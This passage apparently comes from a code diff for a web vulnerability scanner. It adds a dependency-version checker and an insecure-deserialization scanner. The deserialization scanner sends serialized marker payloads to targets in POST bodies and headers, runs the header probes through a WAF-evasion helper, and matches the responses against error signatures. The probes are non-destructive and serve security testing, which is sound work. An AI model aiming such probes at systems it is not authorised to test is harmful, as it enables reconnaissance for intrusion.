+ body = resp.read(4096).decode("utf-8", errors="ignore")
142
+ code = resp.status
143
+ resp_headers = resp.headers
144
+ except urllib.error.HTTPError as e:
145
+ body = e.read(4096).decode("utf-8", errors="ignore") if e.fp else ""
146
+ code = e.code
147
+ resp_headers = e.headers if hasattr(e, "headers") else {}
148
+ except Exception as e:
149
+ self.log("ERROR", f"[CVE] _check_cve request error: {e}")
150
+ return
151
+
152
+ if detect and detect(code, body, resp_headers):
153
+ self.log("CRITICAL",
154
+ f"[CVE] Confirmed: {cve['name']} ({cve['id']})")
155
+ self.add_vuln(
156
+ title=f"{cve['name']} ({cve['id']})",
157
+ severity=cve["severity"],
158
+ category="Known Exploit / CVE",
159
+ cvss_score=cve["cvss"],
160
+ description=f"The target appears vulnerable to {cve['name']} ({cve['id']}).\n"
161
+ f"Affected: {', '.join(cve['affected'])}",
162
+ remediation=f"Apply the latest security patch for {cve['id']}. "
163
+ f"Refer to vendor advisory for detailed mitigation steps.",
164
+ evidence=f"HTTP {code} with matching signature",
165
+ request_details=f"GET {test_url}",
166
+ )
167
+
168
+ except Exception as e:
169
+ self.log("ERROR", f"[CVE] _check_cve error: {e}")
backend/scanners/dependency_scanner.py ADDED
@@ -0,0 +1,257 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ dependency_scanner.py — JavaScript / Backend Dependency Vulnerability Scanner
3
+ ==============================================================================
4
+ Detects outdated and vulnerable client-side libraries by:
5
+ 1. Parsing package.json / composer.json / requirements.txt if exposed
6
+ 2. Fingerprinting loaded JS libraries from HTML source (jQuery, React, etc.)
7
+ 3. Comparing detected versions against a built-in known-vulnerable version database
8
+ 4. Detecting missing Subresource Integrity (SRI) on external scripts
9
+ """
10
+ import re, json, urllib.request, urllib.error
11
+ from packaging import version as pkg_version
12
+ from scanners.base_scanner import BaseScanner
13
+
14
+ # ── Known-vulnerable version ranges ────────────────────────────────────────
15
+ # Format: library_name -> [(max_vulnerable_version, CVE, severity, cvss, description)]
16
+ VULN_DB = {
17
+ "jquery": [
18
+ ("1.12.4", "CVE-2015-9251", "Medium", 6.1, "XSS via jQuery.htmlPrefilter"),
19
+ ("3.4.9", "CVE-2019-11358", "Medium", 6.1, "Prototype pollution in jQuery.extend"),
20
+ ("3.6.0", "CVE-2020-23064", "Medium", 6.9, "XSS via HTML parsing"),
21
+ ],
22
+ "bootstrap": [
23
+ ("3.4.1", "CVE-2019-8331", "Medium", 6.1, "XSS in tooltip/popover data-template"),
24
+ ("4.3.0", "CVE-2018-14042", "Medium", 6.1, "XSS via data-target attribute"),
25
+ ],
26
+ "angularjs": [
27
+ ("1.8.3", "CVE-2022-25869", "Medium", 6.1, "XSS in $sanitize"),
28
+ ("1.6.9", "CVE-2019-14863", "Medium", 6.1, "Angular template injection"),
29
+ ],
30
+ "lodash": [
31
+ ("4.17.20", "CVE-2021-23337", "High", 7.2, "Command injection via template"),
32
+ ("4.17.15", "CVE-2020-28500", "Medium", 5.3, "ReDoS in toNumber"),
33
+ ("4.17.10", "CVE-2019-10744", "Critical", 9.1, "Prototype pollution"),
34
+ ],
35
+ "moment": [
36
+ ("2.29.3", "CVE-2022-24785", "High", 7.5, "Path traversal in locale loading"),
37
+ ("2.29.1", "CVE-2022-31129", "High", 7.5, "ReDoS in string-to-date parsing"),
38
+ ],
39
+ "axios": [
40
+ ("0.21.1", "CVE-2021-3749", "High", 7.5, "Server-side request forgery via SSRF bypass"),
41
+ ],
42
+ "d3": [
43
+ ("5.16.0", "CVE-2021-23490", "Medium", 5.3, "Prototype pollution"),
44
+ ],
45
+ "react": [
46
+ ("16.13.0", "CVE-2018-6341", "Medium", 6.1, "XSS via dangerouslySetInnerHTML"),
47
+ ],
48
+ "vue": [
49
+ ("2.6.14", "CVE-2022-23912", "Medium", 5.3, "ReDoS"),
50
+ ],
51
+ }
52
+
53
+ # JS fingerprint patterns: (regex in src/content, library_name, version_capture_group)
54
+ JS_FINGERPRINTS = [
55
+ (re.compile(r'jquery[.-]?(\d+\.\d+\.\d+)', re.I), "jquery"),
56
+ (re.compile(r'bootstrap[.-]?(\d+\.\d+\.\d+)', re.I), "bootstrap"),
57
+ (re.compile(r'angular[.-]?(\d+\.\d+\.\d+)', re.I), "angularjs"),
58
+ (re.compile(r'lodash[.-]?(\d+\.\d+\.\d+)', re.I), "lodash"),
59
+ (re.compile(r'moment[.-]?(\d+\.\d+\.\d+)', re.I), "moment"),
60
+ (re.compile(r'axios[.-]?(\d+\.\d+\.\d+)', re.I), "axios"),
61
+ (re.compile(r'react[.-]?(\d+\.\d+\.\d+)', re.I), "react"),
62
+ (re.compile(r'vue[.-]?(\d+\.\d+\.\d+)', re.I), "vue"),
63
+ (re.compile(r'd3[.-]?v?(\d+\.\d+\.\d+)', re.I), "d3"),
64
+ ]
65
+
66
+ # Inline version variables: jQuery.fn.jquery, $.fn.jquery, etc.
67
+ INLINE_VER_RE = {
68
+ "jquery": re.compile(r'jQuery\.fn\.jquery\s*=\s*["\'](\d+\.\d+\.\d+)["\']'),
69
+ "react": re.compile(r'ReactDOM\.version\s*=\s*["\'](\d+\.\d+\.\d+)["\']'),
70
+ "vue": re.compile(r'Vue\.version\s*=\s*["\'](\d+\.\d+\.\d+)["\']'),
71
+ }
72
+
73
+ EXPOSED_MANIFESTS = [
74
+ ("/package.json", "json", "node"),
75
+ ("/composer.json", "json", "php"),
76
+ ("/requirements.txt", "text", "python"),
77
+ ("/Gemfile.lock", "text", "ruby"),
78
+ ("/go.sum", "text", "go"),
79
+ ]
80
+
81
+
82
+ class DependencyScanner(BaseScanner):
83
+ SCANNER_NAME = "Dependency Vulnerability Scanner"
84
+ _SCANNER_KEY = "dependency"
85
+
86
+ def __init__(self, scan_id, target, domain, **kwargs):
87
+ super().__init__(scan_id, target, domain, **kwargs)
88
+ self._detected: dict = {} # library -> version
89
+ self._reported: set = set()
90
+
91
+ # ------------------------------------------------------------------
92
+ def run(self) -> list:
93
+ self.log("INFO", f"[Deps] Starting dependency vulnerability scan on {self.target}...")
94
+ try:
95
+ html, script_urls = self._fetch_page()
96
+ self._fingerprint_from_html(html, script_urls)
97
+ self._check_manifest_exposure()
98
+ self._check_sri(html)
99
+ self._audit_detected()
100
+ except Exception as e:
101
+ self.log("WARNING", f"[Deps] Error: {e}")
102
+
103
+ self.log(
104
+ "SUCCESS" if not self.vulns else "WARNING",
105
+ f"[Deps] Complete. Detected {len(self._detected)} lib(s). "
106
+ f"{len(self.vulns)} issue(s) found.",
107
+ )
108
+ return self.vulns
109
+
110
+ # ------------------------------------------------------------------
111
+ def _fetch_page(self) -> tuple:
112
+ req = urllib.request.Request(self.target,
113
+ headers={"User-Agent": "LarShield/2.0 Dep-Scanner"})
114
+ with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
115
+ html = r.read().decode("utf-8", errors="ignore")
116
+ scripts = re.findall(r'<script[^>]+src=["\']([^"\']+)["\']', html, re.I)
117
+ return html, scripts
118
+
119
+ # ------------------------------------------------------------------
120
+ def _fingerprint_from_html(self, html: str, script_urls: list):
121
+ # Check script src URLs
122
+ all_text = html + "\n" + "\n".join(script_urls)
123
+ for pat, lib in JS_FINGERPRINTS:
124
+ m = pat.search(all_text)
125
+ if m:
126
+ ver = m.group(1)
127
+ if lib not in self._detected:
128
+ self._detected[lib] = ver
129
+ self.log("INFO", f"[Deps] Detected: {lib} v{ver}")
130
+
131
+ # Check inline version variables in JS content
132
+ for script_url in script_urls[:8]:
133
+ try:
134
+ full_url = self._resolve_url(script_url)
135
+ req = urllib.request.Request(full_url,
136
+ headers={"User-Agent": "LarShield/2.0 Dep-Scanner"})
137
+ with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
138
+ js = r.read().decode("utf-8", errors="ignore")
139
+ for lib, ver_re in INLINE_VER_RE.items():
140
+ vm = ver_re.search(js)
141
+ if vm and lib not in self._detected:
142
+ self._detected[lib] = vm.group(1)
143
+ self.log("INFO", f"[Deps] Detected (inline): {lib} v{vm.group(1)}")
144
+ except Exception as e:
145
+ self.log("ERROR", f"[Deps] Inline detection error: {e}")
146
+ continue
147
+
148
+ # ------------------------------------------------------------------
149
+ def _check_manifest_exposure(self):
150
+ base = self.target.rstrip("/")
151
+ for path, fmt, ecosystem in EXPOSED_MANIFESTS:
152
+ url = f"{base}{path}"
153
+ body, status = self._probe(url)
154
+ if status == 200 and body:
155
+ self.add_vuln(
156
+ title=f"Exposed Dependency Manifest: {path}",
157
+ severity="Medium",
158
+ category="Information Disclosure",
159
+ cvss_score=5.3,
160
+ description=f"The {ecosystem} dependency manifest `{url}` is publicly "
161
+ "accessible. This reveals the exact library versions in use, "
162
+ "allowing targeted exploitation of known CVEs.",
163
+ remediation=f"Block access to `{path}` in your web server config:\n"
164
+ "Nginx: location = /package.json { deny all; return 404; }",
165
+ )
166
+ # Also parse versions from manifest
167
+ if fmt == "json":
168
+ try:
169
+ data = json.loads(body)
170
+ deps = {**data.get("dependencies",{}), **data.get("devDependencies",{})}
171
+ for lib, ver_str in deps.items():
172
+ clean_ver = ver_str.lstrip("^~>=<")
173
+ lib_key = lib.lower().split("/")[-1]
174
+ if lib_key in VULN_DB and lib_key not in self._detected:
175
+ self._detected[lib_key] = clean_ver
176
+ except Exception as e:
177
+ self.log("ERROR", f"[Deps] Manifest JSON parse error: {e}")
178
+
179
+ # ------------------------------------------------------------------
180
+ def _check_sri(self, html: str):
181
+ ext_scripts = re.findall(
182
+ r'<script[^>]+src=["\']https?://[^"\']+["\'][^>]*>', html, re.I)
183
+ missing_sri = [s for s in ext_scripts if "integrity=" not in s.lower()]
184
+ if missing_sri:
185
+ self.add_vuln(
186
+ title=f"Subresource Integrity (SRI) Missing on {len(missing_sri)} External Script(s)",
187
+ severity="Medium",
188
+ category="Supply Chain Security",
189
+ cvss_score=5.9,
190
+ description=f"Found {len(missing_sri)} external `<script>` tag(s) without "
191
+ "`integrity=` attributes. Without SRI, if the CDN is compromised or the "
192
+ "file is modified, malicious code executes in users' browsers silently.\n\n"
193
+ f"Example: `{missing_sri[0][:200]}`",
194
+ remediation="Add integrity and crossorigin attributes to all external scripts:\n"
195
+ '<script src="https://cdn.example.com/lib.js" '
196
+ 'integrity="sha384-..." crossorigin="anonymous"></script>\n'
197
+ "Generate SRI hashes at: https://www.srihash.org/",
198
+ )
199
+ else:
200
+ self.log("SUCCESS", "[Deps] All external scripts have SRI attributes")
201
+
202
+ # ------------------------------------------------------------------
203
+ def _audit_detected(self):
204
+ for lib, detected_ver in self._detected.items():
205
+ if lib not in VULN_DB:
206
+ continue
207
+ try:
208
+ dv = pkg_version.parse(detected_ver)
209
+ except Exception as e:
210
+ self.log("ERROR", f"[Deps] Version parse error for {lib}: {e}")
211
+ continue
212
+
213
+ for max_vuln_ver, cve, severity, cvss, desc in VULN_DB[lib]:
214
+ try:
215
+ mv = pkg_version.parse(max_vuln_ver)
216
+ except Exception as e:
217
+ self.log("ERROR", f"[Deps] Version parse error for {max_vuln_ver}: {e}")
218
+ continue
219
+ key = f"{lib}:{cve}"
220
+ if dv <= mv and key not in self._reported:
221
+ self._reported.add(key)
222
+ self.log("WARNING",
223
+ f"[Deps] VULNERABLE: {lib} v{detected_ver} <= v{max_vuln_ver} ({cve})")
224
+ self.add_vuln(
225
+ title=f"Vulnerable Library: {lib} v{detected_ver} ({cve})",
226
+ severity=severity,
227
+ category="Vulnerable Dependencies",
228
+ cvss_score=cvss,
229
+ description=f"The detected version of **{lib}** (`v{detected_ver}`) "
230
+ f"is at or below the vulnerable version `v{max_vuln_ver}`.\n\n"
231
+ f"**CVE:** {cve}\n**Impact:** {desc}\n\n"
232
+ "An attacker can exploit this known vulnerability via client-side attacks.",
233
+ remediation=f"Update {lib} to the latest stable version.\n"
234
+ f"See: https://nvd.nist.gov/vuln/detail/{cve}",
235
+ )
236
+
237
+ # ------------------------------------------------------------------
238
+ def _probe(self, url: str) -> tuple:
239
+ try:
240
+ req = urllib.request.Request(url,
241
+ headers={"User-Agent": "LarShield/2.0 Dep-Scanner"})
242
+ with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
243
+ return r.read().decode("utf-8", errors="ignore"), r.status
244
+ except urllib.error.HTTPError as e:
245
+ return "", e.code
246
+ except Exception as e:
247
+ self.log("ERROR", f"[Deps] Probe error: {e}")
248
+ return None, 0
249
+
250
+ def _resolve_url(self, src: str) -> str:
251
+ if src.startswith("//"):
252
+ return f"https:{src}"
253
+ if src.startswith("/"):
254
+ return f"{self.target.rstrip('/')}{src}"
255
+ if not src.startswith("http"):
256
+ return f"{self.target.rstrip('/')}/{src}"
257
+ return src
backend/scanners/deserialization_scanner.py ADDED
@@ -0,0 +1,373 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ deserialization_scanner.py — Insecure Deserialization Scanner
3
+ ==============================================================
4
+ Expert-grade rewrite (GAP-006 fix):
5
+ 1. Scans Set-Cookie headers (original)
6
+ 2. Scans POST/PUT request bodies for serialized content
7
+ 3. Scans custom headers (X-Java-Serialized-Object, X-Serialized-Object)
8
+ 4. Extended signatures: .NET ViewState, Ruby Marshal, Node ND_FUNC
9
+ 5. Active probe: sends crafted Java serialized header and checks error signals
10
+ 6. Fixes false-positive-prone PHP "O:" pattern (now length-validates)
11
+ 7. Java, PHP, Python, .NET, Ruby YAML markers
12
+ """
13
+ import base64, urllib.parse, json, re
14
+ from scanners.base_scanner import BaseScanner
15
+ from utils.anomaly import TimingAnomalyDetector, SizeAnomalyDetector
16
+ from utils.evasion import waf_evade
17
+
18
+ # ── Serialization signatures ──────────────────────────────────────────────
19
+ SIGNATURES = {
20
+ "Java (ysoserial / ACED)": [
21
+ (lambda v: isinstance(v, bytes) and v.startswith(b"\xac\xed\x00\x05"), "raw_bytes"),
22
+ (lambda v: isinstance(v, str) and v.startswith("rO0AB"), "base64"),
23
+ (lambda v: isinstance(v, str) and "java.io.Serializable" in v, "raw"),
24
+ (lambda v: isinstance(v, str) and "java.beans" in v and "ObjectInputStream" in v, "raw"),
25
+ ],
26
+ "PHP Object Serialize": [
27
+ (lambda v: isinstance(v, str) and bool(re.match(r'O:\d+:"', v)), "raw"),
28
+ (lambda v: isinstance(v, str) and bool(re.match(r'a:\d+:\{', v)), "raw"),
29
+ (lambda v: isinstance(v, str) and bool(re.match(r'C:\d+:"', v)), "raw"),
30
+ (lambda v: isinstance(v, str) and bool(re.match(r'R:\d+;', v)), "raw"),
31
+ ],
32
+ "Python Pickle": [
33
+ (lambda v: isinstance(v, str) and "c__main__" in v, "raw"),
34
+ (lambda v: isinstance(v, str) and v.startswith("gASV"), "base64"),
35
+ (lambda v: isinstance(v, str) and v.startswith("gAN9cQAutSw="), "base64"),
36
+ (lambda v: isinstance(v, bytes) and v.startswith(b"\x80\x04\x95"), "raw_bytes"),
37
+ (lambda v: isinstance(v, bytes) and v.startswith(b"\x80\x05\x95"), "raw_bytes"),
38
+ (lambda v: isinstance(v, str) and "__reduce__" in v, "raw"),
39
+ ],
40
+ "Node.js (serialize-javascript)": [
41
+ (lambda v: isinstance(v, str) and "_$$ND_FUNC$$_" in v, "raw"),
42
+ (lambda v: isinstance(v, str) and "$$ND_OBJ$$_" in v, "raw"),
43
+ ],
44
+ ".NET ViewState": [
45
+ (lambda v: isinstance(v, str) and v.startswith("/wEy"), "base64"),
46
+ (lambda v: isinstance(v, str) and "__VIEWSTATE" in v and len(v) > 40, "form_field"),
47
+ (lambda v: isinstance(v, str) and v.startswith("/wE"), "base64"),
48
+ (lambda v: isinstance(v, str) and "__EVENTVALIDATION" in v and len(v) > 20, "form_field"),
49
+ ],
50
+ "Ruby Marshal": [
51
+ (lambda v: isinstance(v, bytes) and v.startswith(b"\x04\x08"), "raw_bytes"),
52
+ (lambda v: isinstance(v, str) and v.startswith("BAh"), "base64"),
53
+ (lambda v: isinstance(v, str) and "ruby/object:" in v, "raw"),
54
+ ],
55
+ "Ruby YAML": [
56
+ (lambda v: isinstance(v, str) and "!ruby/object:" in v, "raw"),
57
+ (lambda v: isinstance(v, str) and "!ruby/class:" in v, "raw"),
58
+ ],
59
+ }
60
+
61
+ # Active probe: a truncated Java serialized stream header (safe — won't RCE)
62
+ JAVA_PROBE_HEADER = base64.b64encode(b"\xac\xed\x00\x05t\x00\x1dWSS-DESER-SAFE-PROBE").decode()
63
+
64
+ JAVA_PAYLOADS = [
65
+ (b"\xac\xed\x00\x05t\x00\x1dWSS-DESER-SAFE-PROBE", "application/x-java-serialized-object", "Java ACED magic bytes"),
66
+ (b"\xac\xed\x00\x05sr\x00\x0cwss.Calc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", "application/x-java-serialized-object", "Java gadget probe"),
67
+ ]
68
+
69
+ PHP_PAYLOADS = [
70
+ (b'O:10:"WssProbe":1:{s:4:"test";s:2:"ok";}', "application/x-www-form-urlencoded", "PHP serialize mark"),
71
+ (b'a:2:{s:4:"test";s:2:"ok";s:4:"waka";s:3:"waka";}', "application/x-www-form-urlencoded", "PHP array serialized"),
72
+ (b'C:10:"WssProbe":8:{testdata}', "application/x-www-form-urlencoded", "PHP custom serialized"),
73
+ ]
74
+
75
+ PYTHON_PICKLE_PAYLOADS = [
76
+ (b"\x80\x05\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.", "application/octet-stream", "Python pickle (protocol 5)"),
77
+ (b"\x80\x04\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.", "application/octet-stream", "Python pickle (protocol 4)"),
78
+ (b"gASVHQAAAAAAAABdlCh9lCiMAXABlIwFdGVzdJRSlJRSlIWUUpQa", "application/python-pickle", "Python pickle base64"),
79
+ ]
80
+
81
+ DOTNET_VIEWSTATE_PAYLOADS = [
82
+ (b"/wEyWSS==", "application/x-www-form-urlencoded", ".NET ViewState probe"),
83
+ (b"/wE", "application/x-www-form-urlencoded", ".NET ViewState short"),
84
+ ]
85
+
86
+ RUBY_YAML_PAYLOADS = [
87
+ (b"--- !ruby/object:WssProbe\nname: test\n", "application/x-yaml", "Ruby YAML object"),
88
+ (b"--- !ruby/class:WssProbe\n", "application/x-yaml", "Ruby YAML class"),
89
+ ]
90
+
91
+ DESER_RESPONSE_SIGNALS = [
92
+ "ClassNotFoundException", "ObjectInputStream", "deserializ",
93
+ "java.io", "InvalidClassException", "readObject",
94
+ "unserialize", "Serializable", "PersistenceException",
95
+ "com.sun.jndi", "log4j", "jndi:", "InvocationTargetException",
96
+ ]
97
+
98
+
99
+ class DeserializationScanner(BaseScanner):
100
+ SCANNER_NAME = "Insecure Deserialization Scanner"
101
+ _SCANNER_KEY = "deserialization"
102
+
103
+ def __init__(self, scan_id, target, domain, **kwargs):
104
+ super().__init__(scan_id, target, domain, **kwargs)
105
+
106
+ def run(self) -> list:
107
+ self.log("INFO", f"[Deserialization] Scanning {self.target}...")
108
+
109
+ self._timing_detector = TimingAnomalyDetector()
110
+
111
+ body, status, headers = self._make_request(self.target, return_response_obj=True)
112
+ if headers:
113
+ self._check_response_headers(headers)
114
+
115
+ self._check_url_params()
116
+
117
+ self._test_active_post()
118
+
119
+ self._test_header_injection()
120
+
121
+ self._test_yaml_pickle_probes()
122
+
123
+ self._test_expanded_formats()
124
+
125
+ self._test_timing_deser()
126
+
127
+ if not self.vulns:
128
+ self.log("SUCCESS", "[Deserialization] No insecure deserialization detected.")
129
+ return self.vulns
130
+
131
+ # ── 1. Response headers / cookies ────────────────────────────────────
132
+ def _check_response_headers(self, headers):
133
+ cookies = []
134
+ try:
135
+ all_cookies = headers.get_all("Set-Cookie") or []
136
+ cookies.extend(all_cookies)
137
+ except Exception as e:
138
+ self.log("ERROR", f"[Deserialization] Failed to parse cookies: {e}")
139
+
140
+ for cookie in cookies:
141
+ parts = cookie.split(";")
142
+ if not parts: continue
143
+ c_val = parts[0].split("=", 1)
144
+ if len(c_val) == 2:
145
+ name, val = c_val[0].strip(), urllib.parse.unquote(c_val[1].strip())
146
+ self._check_value("Cookie", name, val)
147
+
148
+ # ── 2. URL params ─────────────────────────────────────────────────────
149
+ def _check_url_params(self):
150
+ parsed = urllib.parse.urlparse(self.target)
151
+ for k, v in urllib.parse.parse_qsl(parsed.query):
152
+ self._check_value("URL param", k, urllib.parse.unquote(v))
153
+
154
+ # ── 3. Active POST body probing ───────────────────────────────────────
155
+ def _test_active_post(self):
156
+ probes = JAVA_PAYLOADS + PHP_PAYLOADS + PYTHON_PICKLE_PAYLOADS + DOTNET_VIEWSTATE_PAYLOADS + RUBY_YAML_PAYLOADS
157
+
158
+ for payload_bytes, content_type, label in probes:
159
+ body, status = self._make_request(
160
+ self.target, "POST", payload_bytes,
161
+ {"Content-Type": content_type}
162
+ )
163
+ if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
164
+ self.log("CRITICAL", f"[Deserialization] Active probe triggered deser signal: {label}")
165
+ self.add_vuln(
166
+ title=f"Active Deserialization Response — {label}",
167
+ severity="Critical",
168
+ category="Insecure Deserialization",
169
+ cvss_score=9.8,
170
+ cwe_ids=["CWE-502"],
171
+ owasp_category="A08:2021 – Software and Data Integrity Failures",
172
+ confidence="High",
173
+ cve_ids=[],
174
+ references=["https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization"],
175
+ description=(
176
+ f"Sending a crafted `{label}` payload to `{self.target}` triggered "
177
+ f"deserialization error signals in the response (`{status}`).\n\n"
178
+ "The server appears to be deserializing the untrusted POST body, "
179
+ "which can lead to Remote Code Execution via gadget chains."
180
+ ),
181
+ remediation=(
182
+ "1. Never deserialize untrusted data.\n"
183
+ "2. Use safe formats: JSON, XML with schema validation.\n"
184
+ "3. Implement deserialization allowlisting (Java: `ObjectInputFilter`).\n"
185
+ "4. Run deserialization in a sandboxed/restricted ClassLoader.\n"
186
+ "5. Deploy serialization kill-switches (ysoserial DefensiveObjectInputStream)."
187
+ ),
188
+ payload=label,
189
+ evidence=f"Error signal matched for {label}",
190
+ request_details=f"POST {self.target} Content-Type: {content_type}",
191
+ response_details=f"HTTP {status} with error signal in response",
192
+ )
193
+ return
194
+
195
+ # ── 4. Header injection probe ─────────────────────────────────────────
196
+ def _test_header_injection(self):
197
+ headers_to_test = {
198
+ "X-Java-Serialized-Object": JAVA_PROBE_HEADER,
199
+ "X-Serialized-Object": JAVA_PROBE_HEADER,
200
+ "X-ViewState": "/wEyWSS==",
201
+ "X-Yaml-Object": base64.b64encode(b"--- !ruby/object:WssProbe\nname: test\n").decode(),
202
+ "X-Pickle-Object": base64.b64encode(b"\x80\x05\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.").decode(),
203
+ "X-PHP-Serialize": base64.b64encode(b'O:10:"WssProbe":1:{s:4:"test";s:2:"ok";}').decode(),
204
+ }
205
+ for header_name, value in headers_to_test.items():
206
+ for eva_name, eva_value in waf_evade(value):
207
+ body, status = self._make_request(self.target, headers={header_name: eva_value})
208
+ if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
209
+ self.add_vuln(
210
+ title=f"Deserialization via HTTP Header `{header_name}`",
211
+ severity="Critical",
212
+ category="Insecure Deserialization",
213
+ cvss_score=9.8,
214
+ cwe_ids=["CWE-502"],
215
+ owasp_category="A08:2021 – Software and Data Integrity Failures",
216
+ confidence="High",
217
+ description=(
218
+ f"Injecting a serialized object via the `{header_name}` header triggered "
219
+ "deserialization error signals, suggesting the application deserializes "
220
+ "this header value without validation."
221
+ ),
222
+ remediation=(
223
+ "Reject or ignore custom serialization headers unless explicitly required. "
224
+ "Validate and type-check all incoming data before deserialization."
225
+ ),
226
+ payload=eva_value[:50] + "...",
227
+ evidence=f"Error signal matched for header {header_name}",
228
+ request_details=f"GET {self.target} with {header_name} header",
229
+ response_details=f"HTTP {status} with error signature",
230
+ )
231
+ return
232
+
233
+ # ── 5. YAML / Pickle probes ──────────────────────────────────────────
234
+ def _test_yaml_pickle_probes(self):
235
+ probes = [
236
+ (b"--- !ruby/object:WssProbe\nname: test\n",
237
+ "application/x-yaml", "Ruby YAML (header)"),
238
+ (b"\x80\x04\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.",
239
+ "application/python-pickle", "Python pickle (header)"),
240
+ ]
241
+ for payload_bytes, content_type, label in probes:
242
+ body, status = self._make_request(
243
+ self.target, headers={"X-Serialized-Payload": base64.b64encode(payload_bytes).decode()}
244
+ )
245
+ if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
246
+ self.log("CRITICAL", f"[Deserialization] {label} triggered error signal")
247
+ self.add_vuln(
248
+ title=f"Deserialization Signal via Header — {label}",
249
+ severity="Critical",
250
+ category="Insecure Deserialization",
251
+ cvss_score=9.5,
252
+ cwe_ids=["CWE-502"],
253
+ owasp_category="A08:2021 – Software and Data Integrity Failures",
254
+ confidence="Medium",
255
+ description=(
256
+ f"Sending base64-encoded {label} via custom header triggered "
257
+ "deserialization errors."
258
+ ),
259
+ remediation="Restrict custom headers. Validate all incoming data.",
260
+ payload=label,
261
+ evidence="Error signal in response",
262
+ request_details=f"GET {self.target} with X-Serialized-Payload header",
263
+ response_details=f"HTTP {status}",
264
+ )
265
+ return
266
+
267
+ # ── 6. Expanded format probing ────────────────────────────────────────
268
+ def _test_expanded_formats(self):
269
+ all_payloads = JAVA_PAYLOADS + PHP_PAYLOADS + PYTHON_PICKLE_PAYLOADS + DOTNET_VIEWSTATE_PAYLOADS + RUBY_YAML_PAYLOADS
270
+ for payload_bytes, content_type, label in all_payloads:
271
+ body, status = self._make_request(
272
+ self.target, "POST", payload_bytes,
273
+ {"Content-Type": content_type}
274
+ )
275
+ if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
276
+ self.add_vuln(
277
+ title=f"Deserialization via POST — {label}",
278
+ severity="Critical",
279
+ category="Insecure Deserialization",
280
+ cvss_score=9.8,
281
+ cwe_ids=["CWE-502"],
282
+ owasp_category="A08:2021 – Software and Data Integrity Failures",
283
+ confidence="High",
284
+ description=f"Sending `{label}` payload to {self.target} triggered deserialization error signals.",
285
+ remediation="Never deserialize untrusted data. Use JSON/XML with schema validation.",
286
+ payload=label,
287
+ evidence=f"Error signal matched for {label}",
288
+ request_details=f"POST {self.target} Content-Type: {content_type}",
289
+ response_details=f"HTTP {status} with error signal",
290
+ )
291
+ return
292
+
293
+ # ── 7. Timing-based deserialization detection ─────────────────────────
294
+ def _test_timing_deser(self):
295
+ self._timing_detector.build_baseline(lambda u, m, d, h, t: self._make_request(u, m, d, h, t), self.target, n=5, headers={})
296
+ for payload_bytes, content_type, label in JAVA_PAYLOADS[:2]:
297
+ _, _, elapsed = self._make_timed_request(
298
+ self.target, "POST", payload_bytes,
299
+ {"Content-Type": content_type}, timeout=15
300
+ )
301
+ if self._timing_detector.test_payload(f"deser_time_{label}", elapsed, label, z_threshold=2.5):
302
+ self.add_vuln(
303
+ title=f"Possible Timing-Based Deserialization — {label}",
304
+ severity="High",
305
+ category="Insecure Deserialization",
306
+ cvss_score=7.5,
307
+ cwe_ids=["CWE-502"],
308
+ owasp_category="A08:2021 – Software and Data Integrity Failures",
309
+ confidence="Low",
310
